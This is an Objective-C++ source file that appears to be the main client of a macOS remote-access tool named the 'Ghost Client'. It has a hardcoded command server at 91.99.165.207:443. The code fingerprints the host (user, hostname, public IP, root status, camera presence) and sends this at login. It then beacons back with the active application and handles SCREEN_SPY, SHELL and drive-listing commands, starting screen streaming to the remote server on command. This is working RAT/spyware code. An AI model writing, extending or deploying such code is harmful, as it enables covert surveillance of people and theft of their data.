556 lines
18 KiB
Plaintext
556 lines
18 KiB
Plaintext
#import <Cocoa/Cocoa.h>
|
||
#import <sys/sysctl.h>
|
||
#import <mach/mach.h>
|
||
#import <mach-o/dyld.h>
|
||
#import <pwd.h>
|
||
#import <signal.h>
|
||
#import <unistd.h>
|
||
#import <IOKit/IOKitLib.h>
|
||
#import <fstream>
|
||
#import <thread>
|
||
#import <atomic>
|
||
#import <memory>
|
||
#import <string>
|
||
|
||
#import "../client/IOCPClient.h"
|
||
#define XXH_INLINE_ALL
|
||
#include "../common/xxhash.h"
|
||
#import "Permissions.h"
|
||
#import "ScreenHandler.h"
|
||
#import "InputHandler.h"
|
||
#import "SystemManager.h"
|
||
|
||
// Global state
|
||
static std::atomic<bool> g_running(true);
|
||
|
||
// Client ID (calculated from system info, used by ScreenHandler)
|
||
uint64_t g_myClientID = 0;
|
||
|
||
// 远程地址：当前为写死状态，如需调试，请按实际情况修改
|
||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
|
||
|
||
State g_bExit = S_CLIENT_NORMAL;
|
||
|
||
// ============== System Information Functions ==============
|
||
|
||
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
|
||
static std::string getMacOSVersion()
|
||
{
|
||
NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion];
|
||
NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld",
|
||
(long)version.majorVersion,
|
||
(long)version.minorVersion,
|
||
(long)version.patchVersion];
|
||
return std::string([versionString UTF8String]);
|
||
}
|
||
|
||
// Get hostname
|
||
static std::string getHostname()
|
||
{
|
||
char hostname[256] = {};
|
||
gethostname(hostname, sizeof(hostname));
|
||
return std::string(hostname);
|
||
}
|
||
|
||
// Get CPU model and frequency
|
||
static std::string getCPUInfo()
|
||
{
|
||
char buf[256] = {};
|
||
size_t size = sizeof(buf);
|
||
if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) {
|
||
return std::string(buf);
|
||
}
|
||
return "Unknown CPU";
|
||
}
|
||
|
||
// Get CPU frequency in MHz
|
||
static int getCPUFrequencyMHz()
|
||
{
|
||
uint64_t freq = 0;
|
||
size_t size = sizeof(freq);
|
||
if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) {
|
||
return (int)(freq / 1000000);
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
// Get number of CPU cores
|
||
static int getCPUCores()
|
||
{
|
||
int cores = 0;
|
||
size_t size = sizeof(cores);
|
||
if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) {
|
||
return cores;
|
||
}
|
||
return 1;
|
||
}
|
||
|
||
// Get total physical memory in GB
|
||
static double getMemoryGB()
|
||
{
|
||
int64_t memSize = 0;
|
||
size_t size = sizeof(memSize);
|
||
if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) {
|
||
return (double)memSize / (1024.0 * 1024.0 * 1024.0);
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
// Get current username
|
||
static std::string getUsername()
|
||
{
|
||
struct passwd* pw = getpwuid(getuid());
|
||
if (pw && pw->pw_name) {
|
||
return std::string(pw->pw_name);
|
||
}
|
||
const char* user = getenv("USER");
|
||
return user ? std::string(user) : "unknown";
|
||
}
|
||
|
||
// Get screen resolution
|
||
static std::string getScreenResolution()
|
||
{
|
||
NSScreen* mainScreen = [NSScreen mainScreen];
|
||
if (mainScreen) {
|
||
NSRect frame = [mainScreen frame];
|
||
return [NSString stringWithFormat:@"1:%dx%d",
|
||
(int)frame.size.width, (int)frame.size.height].UTF8String;
|
||
}
|
||
return "0:0x0";
|
||
}
|
||
|
||
// Get executable path
|
||
static std::string getExecutablePath()
|
||
{
|
||
char path[PATH_MAX];
|
||
uint32_t size = sizeof(path);
|
||
if (_NSGetExecutablePath(path, &size) == 0) {
|
||
return std::string(path);
|
||
}
|
||
return "";
|
||
}
|
||
|
||
// Get current time string (Beijing time, UTC+8)
|
||
static std::string getTimeString()
|
||
{
|
||
NSDateFormatter* formatter = [[NSDateFormatter alloc] init];
|
||
[formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
|
||
[formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]];
|
||
NSString* dateString = [formatter stringFromDate:[NSDate date]];
|
||
return std::string([dateString UTF8String]);
|
||
}
|
||
|
||
// Get active application name
|
||
static std::string getActiveApp()
|
||
{
|
||
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
|
||
if (app) {
|
||
NSString* name = [app localizedName];
|
||
if (name) {
|
||
return std::string([name UTF8String]);
|
||
}
|
||
}
|
||
return "";
|
||
}
|
||
|
||
// ============== Check if camera exists ==============
|
||
|
||
static bool hasCameraDevice()
|
||
{
|
||
// Most MacBooks have built-in FaceTime camera
|
||
// Check model identifier to determine if it's a MacBook
|
||
char model[256] = {};
|
||
size_t size = sizeof(model);
|
||
if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) {
|
||
std::string modelStr(model);
|
||
// MacBooks (Air/Pro) always have cameras
|
||
if (modelStr.find("MacBook") != std::string::npos) {
|
||
return true;
|
||
}
|
||
// iMac also has camera
|
||
if (modelStr.find("iMac") != std::string::npos) {
|
||
return true;
|
||
}
|
||
}
|
||
// Mac Mini and Mac Pro typically don't have built-in cameras
|
||
return false;
|
||
}
|
||
|
||
// ============== Public IP ==============
|
||
|
||
// Execute command and return output
|
||
static std::string execCmd(const std::string& cmd)
|
||
{
|
||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
||
if (!pipe) return "";
|
||
char buf[4096];
|
||
std::string result;
|
||
while (fgets(buf, sizeof(buf), pipe.get())) {
|
||
result += buf;
|
||
}
|
||
// Trim trailing whitespace
|
||
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
||
result.pop_back();
|
||
return result;
|
||
}
|
||
|
||
// HTTP GET using curl (macOS has curl built-in)
|
||
static std::string httpGet(const std::string& url, int timeoutSec = 5)
|
||
{
|
||
std::string t = std::to_string(timeoutSec);
|
||
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
||
}
|
||
|
||
// Get public IP (try multiple sources)
|
||
static std::string getPublicIP()
|
||
{
|
||
static const char* urls[] = {
|
||
"https://checkip.amazonaws.com",
|
||
"https://api.ipify.org",
|
||
"https://ipinfo.io/ip",
|
||
"https://icanhazip.com",
|
||
"https://ifconfig.me/ip",
|
||
};
|
||
for (auto& url : urls) {
|
||
std::string ip = httpGet(url, 3);
|
||
// Validate: non-empty, contains dot, reasonable length
|
||
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
||
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
|
||
return ip;
|
||
}
|
||
}
|
||
NSLog(@"getPublicIP: all sources failed");
|
||
return "";
|
||
}
|
||
|
||
// ============== Install Time (persistent storage) ==============
|
||
|
||
static std::string getInstallTime()
|
||
{
|
||
@autoreleasepool {
|
||
NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults];
|
||
NSString* installTime = [defaults stringForKey:@"ghost_install_time"];
|
||
|
||
if (installTime == nil || [installTime length] == 0) {
|
||
// First run - record current time as install time
|
||
std::string currentTime = getTimeString();
|
||
installTime = [NSString stringWithUTF8String:currentTime.c_str()];
|
||
[defaults setObject:installTime forKey:@"ghost_install_time"];
|
||
[defaults synchronize];
|
||
NSLog(@"First run - recorded install time: %@", installTime);
|
||
}
|
||
|
||
return std::string([installTime UTF8String]);
|
||
}
|
||
}
|
||
|
||
// ============== Fill LOGIN_INFOR ==============
|
||
|
||
static void fillLoginInfo(LOGIN_INFOR& info)
|
||
{
|
||
// Token is set in constructor
|
||
info.bToken = TOKEN_LOGIN;
|
||
|
||
// OS Version
|
||
std::string osVer = getMacOSVersion();
|
||
strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1);
|
||
|
||
// CPU MHz
|
||
info.dwCPUMHz = getCPUFrequencyMHz();
|
||
|
||
// PC Name (hostname)
|
||
std::string hostname = getHostname();
|
||
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
|
||
|
||
// Webcam
|
||
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
|
||
|
||
// Start time (current session start)
|
||
std::string startTime = getTimeString();
|
||
strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1);
|
||
|
||
// Reserved fields (pipe-separated, must match Windows client order)
|
||
// Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID
|
||
|
||
// 1. Client type (use GetClientType for consistency with Windows client)
|
||
info.AddReserved(GetClientType(CLIENT_TYPE_MACOS));
|
||
|
||
// 2. System bits (OS bits, always 64 on modern macOS)
|
||
info.AddReserved(64);
|
||
|
||
// 3. CPU cores
|
||
info.AddReserved(getCPUCores());
|
||
|
||
// 4. Memory (GB)
|
||
info.AddReserved(getMemoryGB());
|
||
|
||
// 5. File path (executable path)
|
||
std::string exePath = getExecutablePath();
|
||
info.AddReserved(exePath.c_str());
|
||
|
||
// 6. Placeholder
|
||
info.AddReserved("?");
|
||
|
||
// 7. Install time (first run time, persistent)
|
||
std::string installTime = getInstallTime();
|
||
info.AddReserved(installTime.c_str());
|
||
|
||
// 8. Active window / Start time (initial value is start time, updated via heartbeat)
|
||
info.AddReserved(startTime.c_str());
|
||
|
||
// 9. Program bits (always 64 on modern macOS)
|
||
info.AddReserved(64);
|
||
|
||
// 10. Authorization info (placeholder)
|
||
info.AddReserved("");
|
||
|
||
// 11. Location (placeholder, could add GeoIP later)
|
||
info.AddReserved("");
|
||
|
||
// 12. Public IP
|
||
std::string pubIP = getPublicIP();
|
||
info.AddReserved(pubIP.c_str());
|
||
|
||
// 13. Version
|
||
info.AddReserved("1.0.0");
|
||
|
||
// 14. Current username
|
||
std::string username = getUsername();
|
||
info.AddReserved(username.c_str());
|
||
|
||
// 15. Is running as root
|
||
info.AddReserved(getuid() == 0 ? 1 : 0);
|
||
|
||
// 16. Screen resolution (format: count:widthxheight)
|
||
std::string resolution = getScreenResolution();
|
||
info.AddReserved(resolution.c_str());
|
||
|
||
// 17. Client ID (calculated from system info, same algorithm as server)
|
||
// Format: pubIP|hostname|os|cpu|path
|
||
char cpuStr[32];
|
||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
|
||
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
||
hostname + "|" +
|
||
osVer + "|" +
|
||
cpuStr + "|" +
|
||
exePath;
|
||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||
info.AddReserved(std::to_string(g_myClientID).c_str());
|
||
|
||
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
|
||
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
|
||
}
|
||
|
||
// ============== Signal Handling ==============
|
||
|
||
static void signalHandler(int sig)
|
||
{
|
||
NSLog(@"Received signal %d, shutting down...", sig);
|
||
g_running = false;
|
||
}
|
||
|
||
static void setupSignals()
|
||
{
|
||
signal(SIGTERM, signalHandler);
|
||
signal(SIGINT, signalHandler);
|
||
signal(SIGHUP, SIG_IGN);
|
||
signal(SIGPIPE, SIG_IGN);
|
||
}
|
||
|
||
// ============== Main Entry Point ==============
|
||
|
||
// RTT 估算器（参考 RFC 6298 算法，与 Windows 端 KernelManager 一致）
|
||
struct RttEstimator {
|
||
double srtt = 0.0; // 平滑 RTT (秒)
|
||
double rttvar = 0.0; // RTT 波动 (秒)
|
||
double rto = 0.0; // 超时时间 (秒)
|
||
bool initialized = false;
|
||
|
||
void update_from_sample(double rtt_ms)
|
||
{
|
||
// 过滤异常值：RTT应在合理范围内 (0, 30000] 毫秒
|
||
if (rtt_ms <= 0 || rtt_ms > 30000)
|
||
return;
|
||
|
||
const double alpha = 1.0 / 8;
|
||
const double beta = 1.0 / 4;
|
||
double rtt = rtt_ms / 1000.0;
|
||
|
||
if (!initialized) {
|
||
srtt = rtt;
|
||
rttvar = rtt / 2.0;
|
||
rto = srtt + 4.0 * rttvar;
|
||
initialized = true;
|
||
} else {
|
||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||
rto = srtt + 4.0 * rttvar;
|
||
}
|
||
|
||
// 限制最小 RTO（RFC 6298 推荐 1 秒）
|
||
if (rto < 1.0) rto = 1.0;
|
||
}
|
||
};
|
||
|
||
RttEstimator g_rttEstimator;
|
||
int g_heartbeatInterval = 5; // 心跳间隔（秒），默认 5 秒，后续可由服务端动态调整
|
||
|
||
void* ScreenworkingThread(void* param)
|
||
{
|
||
try {
|
||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||
void* clientAddr = ClientObject.get();
|
||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
||
if (!handler->init()) {
|
||
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
|
||
return NULL;
|
||
}
|
||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||
// 连接后立即发送完整的 BITMAPINFO 包（与 Windows 端 ScreenManager 流程一致）
|
||
handler->sendBitmapInfo();
|
||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||
Sleep(1000);
|
||
}
|
||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
||
} catch (const std::exception& e) {
|
||
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
|
||
}
|
||
return NULL;
|
||
}
|
||
|
||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
if (szBuffer == nullptr || ulLength == 0)
|
||
return TRUE;
|
||
|
||
if (szBuffer[0] == COMMAND_BYE) {
|
||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||
g_bExit = S_CLIENT_EXIT;
|
||
g_running = false; // Stop main loop to prevent reconnection
|
||
} else if (szBuffer[0] == COMMAND_SHELL) {
|
||
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
|
||
std::thread(ScreenworkingThread, nullptr).detach();
|
||
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
|
||
} else if (szBuffer[0] == COMMAND_SYSTEM) {
|
||
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
|
||
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
|
||
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
|
||
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
|
||
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
||
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
||
uint64_t now = GetUnixMs();
|
||
double rtt_ms = (double)(now - ack->Time);
|
||
g_rttEstimator.update_from_sample(rtt_ms);
|
||
// Log at most once per minute
|
||
static uint64_t lastLogTime = 0;
|
||
if (now - lastLogTime >= 60000) {
|
||
lastLogTime = now;
|
||
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
||
user, rtt_ms, g_rttEstimator.srtt * 1000);
|
||
}
|
||
}
|
||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||
int settingSize = ulLength - 1;
|
||
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
|
||
MasterSettings settings = {};
|
||
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
|
||
if (settings.ReportInterval > 0)
|
||
g_heartbeatInterval = settings.ReportInterval;
|
||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||
}
|
||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||
} else {
|
||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
int main(int argc, const char* argv[])
|
||
{
|
||
(void)argc;
|
||
(void)argv;
|
||
|
||
@autoreleasepool {
|
||
NSLog(@"=== macOS Ghost Client ===");
|
||
|
||
// Setup signal handlers
|
||
setupSignals();
|
||
|
||
// Check permissions
|
||
NSLog(@"Checking permissions...");
|
||
|
||
if (!Permissions::checkScreenCapture()) {
|
||
NSLog(@"Screen capture permission not granted.");
|
||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
|
||
Permissions::openScreenCaptureSettings();
|
||
}
|
||
|
||
if (!Permissions::checkAccessibility()) {
|
||
NSLog(@"Accessibility permission not granted.");
|
||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
|
||
Permissions::requestAccessibility();
|
||
}
|
||
|
||
// FDA check is unreliable (no official API), just log a warning
|
||
if (!Permissions::checkFullDiskAccess()) {
|
||
NSLog(@"Full Disk Access: not detected (may be false negative).");
|
||
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
|
||
// Don't auto-open settings since detection is unreliable
|
||
}
|
||
|
||
// Create client
|
||
auto ClientObject = std::make_unique<IOCPClient>(g_bExit, false);
|
||
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
|
||
|
||
// Main event loop
|
||
NSLog(@"Starting main loop...");
|
||
LOGIN_INFOR logInfo;
|
||
fillLoginInfo(logInfo);
|
||
|
||
while (g_running) {
|
||
clock_t c = clock();
|
||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||
Sleep(5000);
|
||
continue;
|
||
}
|
||
|
||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||
|
||
// 心跳保活循环：定时发送心跳包，服务端回复后动态更新 RTT
|
||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||
// 等待心跳间隔（每秒检查一次退出条件，保证及时响应）
|
||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||
for (int i = 0; i < interval; ++i) {
|
||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||
break;
|
||
Sleep(1000);
|
||
}
|
||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||
break;
|
||
|
||
// 构造并发送心跳包（与 Windows 端 KernelManager::SendHeartbeat 格式一致）
|
||
std::string activity = getActiveApp();
|
||
|
||
Heartbeat hb;
|
||
hb.Time = GetUnixMs();
|
||
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒，转为毫秒
|
||
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
|
||
|
||
BYTE buf[sizeof(Heartbeat) + 1];
|
||
buf[0] = TOKEN_HEARTBEAT;
|
||
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
||
ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||
}
|
||
}
|
||
|
||
NSLog(@"Shutting down...");
|
||
}
|
||
|
||
return 0;
|
||
}
|